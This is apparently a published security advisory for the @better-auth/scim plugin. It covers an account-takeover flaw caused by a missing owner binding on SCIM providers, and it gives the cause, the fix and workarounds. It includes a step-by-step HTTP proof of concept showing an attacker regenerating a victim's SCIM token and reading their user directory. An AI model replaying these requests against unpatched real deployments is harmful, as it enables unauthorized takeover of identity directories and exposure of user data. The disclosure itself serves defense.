@better-auth/scim: SCIM Provider Account Takeover via Missing Owner Binding
Any authenticated user can hijack another user's SCIM directory connection by calling the token-regeneration endpoint with a known provider ID, invalidating the legitimate bearer token and gaining ful
The problem
The @better-auth/scim plugin (versions 1.5.0 through 1.7.0-beta.3) creates non-organization SCIM provider rows without recording the creator's userId. The access check for management endpoints only blocks access when a stored owner ID is present and differs from the caller.
Because rows are created ownerless by default, the condition is always false and every authenticated user passes the check. This reaches every management operation: provider read, connection listing, token generation and regeneration, and provider deletion.
Proof of concept
A working proof-of-concept for this issue in @better-auth/scim, with the exact payload below.
# Step 1: Alice (victim) creates a non-org SCIM provider
POST /api/auth/scim/generate-token
Cookie: alice-session
Content-Type: application/json
{"providerId": "corp-idp"}
# HTTP 201 - Alice receives a scimToken; provider row has no userId
# Step 2: Bob (attacker) reads Alice's provider metadata
GET /api/auth/scim/get-provider-connection?providerId=corp-idp
Cookie: bob-session
# HTTP 200 - returns provider details with no ownership check
# Step 3: Bob regenerates the token - taking over Alice's provider
POST /api/auth/scim/generate-token
Cookie: bob-session
Content-Type: application/json
{"providerId": "corp-idp"}
# HTTP 201 - Bob receives a new scimToken; Alice's token is now invalid
# Step 4: Bob uses the stolen token against Alice's SCIM API
GET /api/auth/scim/v2/Users
Authorization: Bearer <bob-scimToken>
# HTTP 200 - full SCIM API access on Alice's providerThe root cause is a flawed conditional in the non-organization branch of the access check: `if (provider.userId && provider.userId !== userId)`. When the provider row has no `userId` (the default), the condition short-circuits to false and the request is allowed for any caller.
The fix in 1.7.0-beta.4 removes the `providerOwnership` opt-in entirely and makes owner binding mandatory. `generateSCIMToken` now always writes the caller's `userId` to the new `scimProvider.userId` column, and every management endpoint enforces that the caller's session userId matches the stored owner.
CWE-862 (Missing Authorization) and CWE-639 (Authorization Bypass Through User-Controlled Key) both apply: there was no ownership check, and the attacker supplied a known string key (the providerId) to target another user's resource.
The fix
Upgrade to `@better-auth/scim@1.7.0-beta.4` (stable `1.7.0` when released). This is a breaking change: the `providerOwnership` option is removed, the `scimProvider.userId` column is added to the schema, and owner binding is unconditional. Run `npx auth migrate` after upgrading.
Provider rows created before the upgrade have no `userId` and will be inaccessible through management endpoints; reclaim them by setting `userId` to the intended owner at the database level, then regenerating tokens.
If you must stay on the 1.6.x stable line (which is unpatched), add `providerOwnership: { enabled: true }` when registering the plugin and run `npx auth generate` or `npx auth migrate` to create the `userId` column. Alternatively, scope all providers to an organization via `organizationId`, or block the SCIM management endpoints at the edge.
Reported by Jvr2022.
Related research
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
- critical · 109router: Unauthenticated CRUD on Provider API and Full API Key Leak
- high · 8.8CVE-2026-53821: openclaw Trusted-Proxy WebSocket Scope Elevation
- high · 8CVE-2026-35630: openclaw QQBot Native Approval Button Authorization Bypass